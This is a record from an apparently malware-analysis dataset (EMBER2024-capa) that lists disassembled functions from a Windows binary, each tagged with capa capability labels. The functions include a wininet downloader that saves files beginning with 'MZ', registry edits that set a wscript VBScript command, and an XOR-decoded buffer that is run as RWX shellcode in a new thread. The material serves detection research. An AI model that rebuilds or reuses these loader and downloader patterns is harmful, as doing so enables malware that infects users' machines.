joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006128
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov rsi, rdx
lea rax, [0x14004af00]
mov rdi, r8
mov rbx, rcx
lea rdx, [0x14004af10]
cmovne rdx, rax
lea rax, [r11 + 8]
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [r11 - 0x18], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x230], 0
lea rax, [0x14004af20]
lea rdx, [0x14004af30]
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000001
cmovne rdx, rax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1400061eb
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x40]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140006338
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x840
and dword [rax + 0x18], 0
and dword [rax + 0x20], 0
mov rbp, rcx
lea rcx, str.wininet.dll
mov r12d, 1
mov rbx, rdx
mov sil, r12b
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x20], 0
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov r13, rax
test rax, rax
jne 0x1400063b7
test rdi, rdi
je 0x1400063b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x1400064e1
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x1400063a2
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400064a8
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x800
call fcn.140024cd0
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x880]
lea rdx, [rsp + 0x40]
mov r8d, 0x800
mov rcx, rbp
call rax
test r12d, r12d
je 0x14000646a
mov eax, 0x5a4d
cmp word [rsp + 0x40], ax
jne 0x14000649c
mov r8d, dword [rsp + 0x880]
lea r9, [rsp + 0x888]
lea rdx, [rsp + 0x40]
xor r12d, r12d
mov rcx, rbx
and qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x880], r12d
jbe 0x14000649f
jmp 0x14000641f
xor sil, sil
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x1400064de
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, sil
mov rbx, qword [rsp + 0x870]
add rsp, 0x840
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140006a20
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rdx, qword [rcx]
mov r10d, dword [rcx + 0x68]
mov r12d, 1
movzx eax, word [rdx + 0x14]
mov rsi, qword [rdx + 0x30]
sub r10, r12
lea r8, [rax + rdx + 0x18]
movabs rax, 0xffffffff00000000
not r10
mov r11d, dword [r8 + 8]
and rsi, rax
mov eax, dword [r8 + 0x10]
or r11, rsi
xor ebx, ebx
mov r13, rcx
and r10, r11
mov qword [rbp + 0x30], rsi
mov qword [rbp - 0x20], r11
mov qword [rbp - 0x18], r10
test eax, eax
jne 0x140006aa5
test byte [r8 + 0x24], 0x40
je 0x140006a9b
mov eax, dword [rdx + 0x20]
jmp 0x140006aa5
test byte [r8 + 0x24], 0x80
je 0x140006aa5
mov eax, dword [rdx + 0x24]
mov ecx, dword [r8 + 0x24]
mov r9d, eax
mov dword [rbp - 4], ebx
mov qword [rbp - 0x10], r9
mov r14d, r12d
mov dword [rbp - 8], ecx
cmp r12w, word [rdx + 6]
jae 0x140006b7e
lea rdi, [r8 + 0x4c]
mov r15d, dword [rdi - 0x1c]
mov eax, dword [rdi - 0x14]
or r15, rsi
mov esi, dword [r13 + 0x68]
sub rsi, r12
not rsi
and rsi, r15
test eax, eax
jne 0x140006af5
test byte [rdi], 0x40
je 0x140006aed
mov eax, dword [rdx + 0x20]
jmp 0x140006af5
test byte [rdi], 0x80
je 0x140006af5
mov eax, dword [rdx + 0x24]
mov r12d, eax
cmp r10, rsi
je 0x140006b2f
lea rax, [r9 + r11]
cmp rax, rsi
ja 0x140006b2f
lea rdx, [rbp - 0x20]
mov rcx, r13
call fcn.140006960
test eax, eax
je 0x140006b7a
mov ecx, dword [rdi]
mov r11, r15
mov qword [rbp - 0x20], r15
mov r10, rsi
mov qword [rbp - 0x18], rsi
mov r9d, r12d
mov qword [rbp - 0x10], r12
jmp 0x140006b54
mov eax, dword [rdi]
bt eax, 0x19
jae 0x140006b41
bt ecx, 0x19
jae 0x140006b41
or ecx, eax
jmp 0x140006b47
or ecx, eax
btr ecx, 0x19
mov r9, r12
sub r9, r11
add r9, r15
mov qword [rbp - 0x10], r9
mov rdx, qword [r13]
mov r12d, 1
add rdi, 0x28
movzx eax, word [rdx + 6]
add r14d, r12d
mov dword [rbp - 8], ecx
cmp r14d, eax
jge 0x140006b7e
mov rsi, qword [rbp + 0x30]
jmp 0x140006ac8
xor eax, eax
jmp 0x140006b95
lea rdx, [rbp - 0x20]
mov rcx, r13
mov dword [rbp - 4], r12d
call fcn.140006960
test eax, eax
setne bl
mov eax, ebx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140007560
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x30
mov r12, rcx
mov rcx, qword [rcx + 0x148]
mov rdi, r9
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r14d, r14d
lea rcx, [r12 + 0x138]
mov eax, r14d
xchg dword [r12 + 0x150], eax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [r12 + 0x160]
mov r8, rdi
mov edx, 0xff
call fcn.1400218d0
lea rcx, [r12 + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [r12 + 0x160]
lea rcx, [r12 + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [r12 + 0x360], eax
call fcn.1400211a0
mov r11d, dword [r12 + 0x360]
mov rcx, qword [r12 + 0x378]
add r11d, 8
add rcx, 8
lea edi, [r14 + 1]
mov dword [r12 + 0x364], r11d
mov rax, qword [rcx]
movzx r8d, si
mov r9d, edi
mov rdx, rbp
mov word [rsp + 0x28], r14w
mov qword [rsp + 0x20], r14
call qword [rax]
mov rcx, qword [r12 + 0x380]
mov edx, 0xfa0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000767a
cmp eax, 0x102
je 0x140007668
cmp eax, 0xffffffff
jne 0x140007676
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x1400076e0
lea rcx, [r12 + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [r12 + 0x140]
sub rcx, qword [r12 + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [r12 + 0x130]
cvtsi2sd xmm1, rcx
divsd xmm0, qword [0x14004ba60]
mov ecx, edi
divsd xmm1, xmm0
movsd qword [r12 + 0x128], xmm1
xchg dword [r12 + 0x150], ecx
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov al, dil
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop r13
pop r12
ret
Function at 0x140008c7c
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
mov rbp, rsp
sub rsp, 0x48
call fcn.1400086e0
lea r11, [rbp + 0x28]
mov rsi, 0xffffffff80000000
lea rdx, str..vmx
mov rcx, rsi
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140008cc7
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140008dc8
call fcn.1400086e0
lea r8, [rbp + 0x20]
lea rdx, [0x14004a538]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, [0x14004a548]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x20]
xor edx, edx
lea eax, [rax + rax + 2]
lea r9, [0x14004a548]
lea r8d, [rdx + 1]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rbp + 0x18]
lea rdx, [0x14004a548]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp + 0x18]
xor edx, edx
lea r8d, [rdx + 1]
lea r9, str.VMware
mov dword [rsp + 0x20], gethostbyname
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x18]
lea r8, [rbp + 0x30]
lea rdx, [0x14004a580]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
call fcn.1400086e0
mov rcx, qword [rbp + 0x30]
lea r8, [rbp - 0x18]
lea rdx, [0x14004a590]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp - 0x18]
lea r8, [rbp - 0x10]
lea rdx, [0x14004a5a0]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, str.wscript.exe___E:vbscript___1_
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp - 0x10]
xor edx, edx
lea eax, [rax + rax + 2]
lea r9, str.wscript.exe___E:vbscript___1_
lea r8d, [rdx + 1]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.1400086e0
add rsp, 0x48
pop rsi
pop rbp
ret
Function at 0x140009e40
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using add xor sub operations
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor r8d, r8d
lea rbx, [0x140057e80]
mov esi, 0xa857
mov rcx, r8
movabs rax, 0xcccccccccccccccd
mul r8
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
sub rcx, rax
lea rax, [0x1400626e0]
mov al, byte [rcx + rax]
xor byte [r8 + rbx], al
inc r8
cmp r8, rsi
jb 0x140009e5e
mov rcx, rsi
call fcn.1400217e8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov rdi, rax
call fcn.1400211a0
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.1400086e0
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140009f1c
mov rcx, rdi
call fcn.140021ab0
lea rdx, [0x14004aae8]
lea rcx, [0x140057bc0]
call fcn.14000f2f4
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.14000aef4
mov rcx, rbx
call fcn.140003b30
jmp 0x140009f3e
call fcn.1400086e0
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140021ab0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x14000abb8
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
call fcn.1400086e0
lea rcx, str.04:25:22
call fcn.140023e18
call fcn.140023e30
mov ebx, 0x66666667
mov r11d, eax
mov eax, ebx
imul r11d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r11d, eax
imul r11d, r11d, 0x1388
movsxd rcx, r11d
call fcn.140008608
call fcn.1400086e0
call fcn.1400086e0
lea rcx, [0x14004ab70]
call fcn.140023e18
call fcn.140023e30
mov r11d, eax
mov eax, ebx
imul r11d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r11d, ecx
imul r11d, r11d, 0x2af8
movsxd rcx, r11d
call fcn.140008608
call fcn.14000a36c
call fcn.1400086e0
call fcn.1400086e0
call fcn.1400086e0
lea rcx, [0x14004ab80]
call fcn.140023e18
call fcn.140023e30
mov r11d, eax
mov eax, ebx
imul r11d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r11d, ecx
imul r11d, r11d, 0x2ee0
movsxd rcx, r11d
call fcn.140008608
call fcn.1400086e0
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x140008788]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x14000acf2
call fcn.1400086e0
lea rdx, [0x14004ab98]
lea rcx, [0x140057bc0]
call fcn.14000f2f4
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.14000aef4
mov rcx, rbx
call fcn.140003b30
jmp 0x14000ad11
call fcn.1400086e0
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400086e0
call fcn.1400086e0
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x14000cbcc
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov esi, edx
mov rdi, rcx
or ebx, 0xffffffff
cmp edx, ebx
jne 0x14000cbfc
xor eax, eax
jmp 0x14000ce0b
mov rdx, qword [rcx + 0x48]
cmp qword [rdx], 0
je 0x14000cc2f
mov rcx, qword [rcx + 0x60]
movsxd rax, dword [rcx]
add rax, qword [rdx]
cmp qword [rdx], rax
jae 0x14000cc2f
add dword [rcx], ebx
mov rcx, qword [rdi + 0x48]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov byte [rdx], sil
mov eax, esi
jmp 0x14000ce0b
cmp qword [rdi + 0x98], 0
je 0x14000ce09
mov rdx, qword [rdi + 0x20]
lea rax, [rdi + 0x88]
cmp qword [rdx], rax
jne 0x14000cc67
mov rcx, qword [rdi + 0x78]
mov rax, qword [rdi + 0x70]
mov qword [rdx], rax
mov rax, qword [rdi + 0x40]
mov qword [rax], rcx
sub ecx, ecx
mov rax, qword [rdi + 0x58]
mov dword [rax], ecx
cmp qword [rdi + 0x80], 0
jne 0x14000cc8b
movsx ecx, sil
mov rdx, qword [rdi + 0x98]
call fcn.140023660
cmp eax, ebx
cmovne ebx, esi
jmp 0x14000ce09
mov byte [rbp + 0x38], sil
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rdx
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
lea eax, [rdx - 7]
cmp al, 0xfe
jbe 0x14000ccb5
lea rcx, str.string_too_long
call fcn.14003a3a8
int3
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
cmp r10, 0x10
cmovae rdx, r9
lea r8, [rbp - 0x28]
cmovae r8, r9
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
add rdx, qword [rbp - 0x18]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x39]
lea r8, [rbp + 0x38]
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x28]
test eax, eax
js 0x14000cdf9
cmp eax, 1
jg 0x14000cddd
lea rax, [rbp - 0x28]
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
cmp r10, 0x10
cmovae rax, r9
mov r12, qword [rbp + 0x40]
sub r12, rax
je 0x14000cd82
lea rcx, [rbp - 0x28]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rdi + 0x98]
mov r8, r12
mov edx, 1
call fcn.140021c44
cmp r12, rax
jne 0x14000cdb9
mov r10, qword [rbp - 0x10]
mov r9, qword [rbp - 0x28]
mov byte [rdi + 0x89], 1
lea rax, [rbp + 0x38]
cmp qword [rbp + 0x48], rax
jne 0x14000cdc6
test r12, r12
jne 0x14000ccd6
cmp qword [rbp - 0x18], 0x20
jae 0x14000cdbb
xor r8d, r8d
lea edx, [r12 + 8]
lea rcx, [rbp - 0x28]
call fcn.140003a18
jmp 0x14000ccce
jmp 0x14000cdf9
cmp r10, 0x10
jb 0x14000ce09
mov rcx, r9
jmp 0x14000ce04
cmp r10, 0x10
jb 0x14000cc28
mov rcx, r9
call fcn.140021180
jmp 0x14000cc28
cmp eax, 3
jne 0x14000cdf9
movsx ecx, byte [rbp + 0x38]
mov rdx, qword [rdi + 0x98]
call fcn.140023660
cmp eax, ebx
cmovne ebx, esi
jmp 0x14000cdf9
cmp qword [rbp - 0x10], 0x10
jb 0x14000ce09
mov rcx, qword [rbp - 0x28]
call fcn.140021180
mov eax, ebx
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000deec
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r13
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rbx, rcx
cmp qword [rcx + 0x80], 0
je 0x14000e081
cmp byte [rcx + 0x8a], 0
je 0x14000e081
mov rax, qword [rcx]
mov edi, 0xffff
mov edx, edi
call qword [rax + 0x18]
cmp di, ax
jne 0x14000df41
xor al, al
jmp 0x14000e083
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rdx
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
lea r13d, [rdx - 7]
cmp r13b, 0xfe
jbe 0x14000df6a
lea rcx, str.string_too_long
call fcn.14003a3a8
int3
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], r13
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
cmp r10, 0x10
cmovae rdx, r9
lea r8, [rbp - 0x28]
cmovae r8, r9
mov rcx, qword [rbx + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rbx + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x14000dfcf
dec eax
jne 0x14000e046
jmp 0x14000dfd6
mov byte [rbx + 0x8a], 0
lea rax, [rbp - 0x28]
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
cmp r10, 0x10
cmovae rax, r9
mov rdi, qword [rbp + 0x20]
sub rdi, rax
je 0x14000e020
lea rcx, [rbp - 0x28]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rbx + 0x98]
mov r8, rdi
mov edx, 1
call fcn.140021c44
cmp rdi, rax
jne 0x14000e05a
mov r10, qword [rbp - 0x10]
mov r9, qword [rbp - 0x28]
cmp byte [rbx + 0x8a], 0
je 0x14000e073
test rdi, rdi
jne 0x14000df8b
xor r8d, r8d
mov rdx, r13
lea rcx, [rbp - 0x28]
call fcn.140003a18
jmp 0x14000df83
sub eax, 2
je 0x14000e04d
jmp 0x14000e05a
cmp qword [rbp - 0x10], 0x10
jb 0x14000e081
mov rcx, qword [rbp - 0x28]
jmp 0x14000e07c
cmp qword [rbp - 0x10], 0x10
jb 0x14000df3a
mov rcx, qword [rbp - 0x28]
call fcn.140021180
jmp 0x14000df3a
cmp r10, 0x10
jb 0x14000e081
mov rcx, r9
call fcn.140021180
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop rdi
pop rbp
ret
Function at 0x1400171b0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x1400198e0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x1400171c0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x140019910
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140019820
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x38
mov edx, 6
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
lea r8d, [rdx - 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x1400198e0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x1400198e0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140019910
Capabilities:
Set socket configuration

Disassembly:
jmp 0x140019910
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140019940
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x140019968
lea r9, [rsp + 0x50]
jmp 0x140019972
cmp edx, 1
jne 0x1400199bb
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x140019a0e
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x140019e30
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
lea rdx, [rsp + 0x44]
mov rcx, rbx
mov rbp, r9
mov rsi, r8
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r8d, dword [rsp + 0x60]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x40]
cmp rax, rsi
cmovb rax, rsi
xor edx, edx
mov qword [rsp + 0x40], rax
mov ecx, dword [rsp + 0x40]
shr rax, 0x20
mov dword [rsp + 0x20], ecx
mov rcx, rbx
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rcx, rax
mov qword [rdi + 0x10], rax
test rax, rax
jne 0x140019eae
call fcn.140017110
jmp 0x140019f16
test rsi, rsi
jne 0x140019ec1
mov rax, qword [rsp + 0x40]
sub rax, rbp
mov qword [rdi + 8], rax
jmp 0x140019ec5
mov qword [rdi + 8], rsi
mov edx, dword [rsp + 0x68]
mov rax, qword [rdi + 8]
mov qword [rdi + 0x18], rbp
mov r8d, dword [rdi + 0x1c]
mov r9d, ebp
mov qword [rsp + 0x28], 0
mov dword [rdi + 0x20], edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov qword [rdi], rax
test rax, rax
jne 0x140019f14
call fcn.140017110
mov rcx, qword [rdi + 0x10]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi + 0x10], 0
mov eax, ebx
jmp 0x140019f16
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x14001a000
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x50
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r12, r9
mov dword [rax - 0x38], 0x1c
lea r8, [rax - 0x38]
mov word [rax - 0x30], bx
lea rdx, [rax - 0x30]
cmp dword [rsp + 0x80], ebx
je 0x14001a044
call qword [sym.imp.WS2_32.dll_getsockname]
jmp 0x14001a04a
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x14001a052
xor eax, eax
jmp 0x14001a0cd
movzx ecx, word [rsp + 0x2a]
mov qword [rsp + 0x60], rbp
movzx ebp, word [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_ntohs]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
mov word [r12], ax
movzx eax, word [rsp + 0x28]
movsxd r9, dword [rdi]
cmp eax, 2
mov r8, rsi
cmovne rdx, rcx
mov ecx, eax
call sub.WS2_32.dll_InetNtopW
test rax, rax
je 0x14001a0a8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, 1
inc eax
